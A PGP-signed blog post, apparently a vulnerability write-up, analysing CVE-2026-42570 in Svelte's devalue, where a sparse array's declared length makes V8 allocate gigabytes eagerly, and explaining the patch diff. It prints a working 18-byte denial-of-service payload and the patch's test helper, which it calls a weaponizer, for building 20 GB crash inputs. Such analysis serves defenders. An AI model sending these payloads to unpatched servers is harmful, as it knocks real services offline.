-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## `new Array(n)` is not lazy in V8\n\nThe patch's own source comment is unusually candid about which engine and which threshold. In `src/parse.js` at the SPARSE branch:\n\n```js\n// Setting `array.length = len` (or equivalently calling `new Array(len)`)\n// on an untrusted `len` is a DoS vector: V8 eagerly allocates a\n// contiguous backing store for array lengths below ~10^8, so a\n// small payload with a huge declared length can force arbitrary\n// memory allocation. Touching the largest-possible index first\n// forces V8 into dictionary-elements mode, where `length` is\n// just a number and no contiguous allocation occurs.\n```\n\nV8 represents arrays as one of several internal \"elements kinds\" depending on what the array contains and how it has been written to. For an array constructed with `new Array(n)` where `n` sits below an internal threshold, the elements kind is `HOLEY_ELEMENTS` and the backing store is a contiguous `FixedArray` of length `n`. The slots are filled with the hole sentinel, but the slots themselves exist on the heap. On a 64-bit V8 each slot is eight bytes. `new Array(100_000_000)` is 800 megabytes of committed memory before the next line of JavaScript runs.\n\nThe threshold the patch comment cites as roughly 10^8 is the heuristic V8 uses to decide between `HOLEY_ELEMENTS` and `DICTIONARY_ELEMENTS`. Below the threshold, V8 commits the backing store eagerly because for ordinary usage the array will be densely written and the FixedArray is faster than a hash table. Above it, V8 demotes to a dictionary representation where length is a number on the array's hidden class and no contiguous storage exists until indices are written. The bug CVE-2026-42570 names in devalue 5.6.3 through 5.8.0 lives entirely below the threshold; attacker-controlled `length` values up to roughly 10^8 are exactly the range V8 commits eagerly.\n\nThe advisory text reads: \"due to quirks in some JavaScript engines, [devalue.parse could be] convinced to allocate much more memory than was needed when deserializing sparse arrays.\" These are not quirks. The patch's source comment names V8 by name, names the ~10^8 threshold, and names dictionary-elements mode by name. The \"quirks in some JavaScript engines\" language is the public framing. The developer-internal documentation is the technical truth.\n\n## The wire field is free. The allocation is real.\n\nA complete sparse-array DoS payload, in JSON:\n\n```json\n[-7,100000000,0,1]\n```\n\nThat is eighteen bytes. `devalue.parse` on this input, pre-patch, executes `new Array(100000000)`. V8 commits 800 megabytes. The amplification ratio of declared-length bytes to allocated bytes is roughly one to forty-four million.\n\nThe amplification scales with `len`: every additional ASCII digit in the `length` field multiplies the allocation by ten while adding one byte to the payload. The asymptotic ratio is `O(len / log10(len))`. A 32-byte payload, well under the size of a single TCP segment, triggers gigabyte allocations. A 1KB payload that bundles 25 such sparse arrays in one envelope triggers tens of gigabytes, which is precisely what the patch's regression test demonstrates.\n\n## The patch's regression test is a 20-gigabyte PoC in under a kilobyte\n\nThe GHSA advisory ([GHSA-77vg-94rm-hx3p](https://github.com/sveltejs/devalue/security/advisories/GHSA-77vg-94rm-hx3p)) does not link to PoC code. The advisory page renders one short paragraph of prose, a CVSS vector, three credits, and a patched-version note. Nothing operational.\n\nThe same patch commit ([206ca67](https://github.com/sveltejs/devalue/commit/206ca6712fbc380a4571c59de9ab04b91110792d)) ships seventy-seven lines of additions to `test/index.test.js`. Lifted verbatim, the helper:\n\n```js\nfunction buildSparseDoSPayload(count, perArrayLen) {\n\tlet payload = '[{';\n\tfor (let i = 0; i < count; i += 1) {\n\t\tif (i > 0) payload += ',';\n\t\tpayload += `\"k${i}\":${i + 1}`;\n\t}\n\tpayload += '}';\n\tfor (let i = 0; i < count; i += 1) {\n\t\tpayload += `,[${consts.SPARSE},${perArrayLen},0,${count + 1}]`;\n\t}\n\tpayload += ',42]';\n\treturn payload;\n}\n```\n\nThe matrix of cases the test loops over:\n\n```js\nconst sparseDoSCases = [\n\t{ perArrayLen: 10_000, count: 250_000 },\n\t{ perArrayLen: 100_000, count: 25_000 },\n\t{ perArrayLen: 1_000_000, count: 2_500 },\n\t{ perArrayLen: 10_000_000, count: 250 },\n\t{ perArrayLen: 100_000_000, count: 25 }\n];\n```\n\nThe comment above the matrix tells the reader what each row totals: roughly 2.5 billion slots, around twenty gigabytes at eight bytes per pointer slot. The largest single payload in the matrix is the 100,000,000-by-25 row. Serialized as JSON, that envelope is under a kilobyte. The smallest payload that crashes a default Node.js process running pre-patch devalue would fit in a single HTTP request body.\n\nThis is the **patch-test-is-the-disclosure** pattern. The advisory withheld the chain, the patch shipped the smallest input that reproduces it. The Jenkins gadget chain in [CVE-2026-53435](/posts/jenkins-cve-2026-53435-security3707test-is-the-disclosure) is the canonical exhibit of the pattern; devalue's sparse-array regression test is the same shape on a different evidentiary stack. Regression tests for the patched primitive are by construction the smallest input that reproduces it. For deserialization bugs, that input IS the working exploit. `buildSparseDoSPayload` is twenty-six lines of weaponizer code, committed by the maintainer, public on GitHub, sitting twenty-six lines below an advisory that says no PoC was referenced.\n\n## The fix is not validation. The fix demotes the array to dictionary-elements mode.\n\nRead the diff. The lines that close CVE-2026-42570 are not the bounds checks. The lines that close the bug are these:\n\n```diff\n-\t\tconst array = new Array(len);\n+\t\t/** @type {any[]} */\n+\t\tconst array = [];\n \t\thydrated[index] = array;\n\n+\t\t// Setting `array.length = len` ... on an untrusted `len` is a DoS vector\n+\t\tarray[MAX_ARRAY_INDEX] = undefined;\n+\t\tdelete array[MAX_ARRAY_INDEX];\n\n \t\tfor (let i = 2; i < value.length; i += 2) {\n \t\t\tconst idx = value[i];\n-\t\t\tif (!Number.isInteger(idx) || idx < 0 || idx >= len) {\n+\t\t\tif (!is_valid_array_index(idx) || idx >= len) {\n \t\t\t\tthrow new Error('Invalid input');\n \t\t\t}\n \t\t\tarray[idx] = hydrate(value[i + 1]);\n \t\t}\n+\n+\t\tarray.length = len;\n```\n\nThe first change replaces `new Array(len)` with `[]`. The array starts at length zero. No backing store is committed.\n\nThe second change is the load-bearing one. Write `undefined` to `array[MAX_ARRAY_INDEX]`, which the new `src/constants.js` defines as `2 ** 32 - 2 = 4,294,967,294`. V8 sees a write to an index this far above the current length and transitions the array's elements kind from `HOLEY_ELEMENTS` to `DICTIONARY_ELEMENTS` rather than committing a 32GB backing store to hold the single write. The next line, `delete array[MAX_ARRAY_INDEX]`, removes that index from the dictionary. The array is empty again, and pinned in dictionary mode.\n\nThe third change, at the bottom, is `array.length = len`. This line in the pre-patch code was the cause of the bug, written as `new Array(len)`. In the post-patch code it runs on an array that V8 has already demoted. Length assignment in dictionary mode is metadata: V8 updates the array's length property to `len` without allocating a backing store. The wire's declared length still arrives at V8. V8 no longer acts on it eagerly.\n\nThe bounds check in `is_valid_array_len`, also added in this commit, validates that `len` is a non-negative integer below `2^32`. That check is required because `array.length = len` raises a `RangeError` for values outside that range, and validating up front avoids the throw. The bounds check is hygiene. The bounds check is not the fix.\n\n## MAX_ARRAY_INDEX is 4,294,967,294. The bounds check accepts that.\n\nThe patch's new constants:\n\n```js\nexport const MAX_ARRAY_LEN = 2 ** 32 - 1;\nexport const MAX_ARRAY_INDEX = MAX_ARRAY_LEN - 1;\n```\n\n`is_valid_array_len` rejects values above `MAX_ARRAY_LEN`, which is `4,294,967,295`. Eager allocation of that many pointer slots on a 64-bit V8 is thirty-four gigabytes. The validation alone does not prevent denial of service; it prevents `array.length = len` from raising. The demotion is what prevents the allocation.\n\nThe fix is not the bounds check. The fix is the line right after it that writes to index 4,294,967,294 and deletes it the next instruction.\n\n## The wire format still names the length\n\nThe patch does not change the wire format. devalue 5.8.1 serializes sparse arrays the same way 5.6.3 did: `[-7, length, idx, val, idx, val, ...]`. The producer still declares the length up front. The parser cannot reconstruct it from the indices alone, because the sparse encoding's whole purpose is to elide indices that have no values. The length field is structurally required by the format.\n\nWhat changed is the parser's relationship with V8. The wire still claims authority over allocation; the parser has stopped granting it. The primitive of \"wire declares allocation size\" remains in devalue's design. The fix moved materialization to a layer V8 cannot eagerly act on.\n\nThis pattern recurs. Wire formats that declare container sizes in length-or-count fields, and then feed those fields to runtime constructors that default to eager allocation, appear in every major binary serializer this decade: protobuf's `repeated` field decoders calling `Vec::with_capacity`, BSON parsers allocating document buffers from the declared length prefix, Java deserialization's `readArrayHeader` followed by `new Object[len]`, Python pickle's `EXT1` and `LONG_BINPUT`. The class name is **declared size is allocation**: the size field's bytes are cheap, the constructor the parser hands the size to is not. Patches close instances by deferring materialization or by replacing eager constructors with lazy containers; the wire format keeps the length field because the protocol requires it. The amplification primitive is structural to the wire and the runtime's default constructor at the same time.\n\nPoC: [sveltejs/devalue](https://github.com/sveltejs/devalue/commit/206ca6712fbc380a4571c59de9ab04b91110792d) (the patch's `test/index.test.js`)","closing_line":"devalue 5.8.1 still trusts the length field. It trusts it lazily.","hook_md":"devalue is the wire format Svelte ships for serializing JavaScript values into JSON. Its sparse-array encoding is documented in the source as `[SPARSE, length, idx, val, idx, val, ...]`, with `SPARSE` being the sentinel number `-7`. devalue 5.6.3 through 5.8.0 took the `length` field straight off the wire and passed it to `new Array(length)`. V8 eagerly allocates a contiguous backing store for any array length below approximately 10^8. The wire field is between four and ten ASCII digits of JSON. The allocation it triggers is gigabytes. CVE-2026-42570 is what Elliott Johnson's patch in 5.8.1 closed about that, and the fix is not the bounds check the advisory implies.","post_id":642,"slug":"svelte-devalue-cve-2026-42570-new-array-allocates-eagerly","title":"CVE-2026-42570: Svelte devalue Passes The Wire's Length Field To `new Array`. V8 Allocates It Before The Validator Runs.","type":"initial","unreadable_sentence":"The fix is not the bounds check. The fix is the line right after it that writes to index 4,294,967,294 and deletes it the next instruction."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCauZEGgAKCRDeZjl4jgkQ JqhDAP4oVK72UEGtzt2LdBjgdiT8IE/5ol3tckqSVDfe8QJnAgD+OBTDNFQd93Av Kk/onlN/mFvXpirLS/95on558t5+cAU= =+eed -----END PGP SIGNATURE-----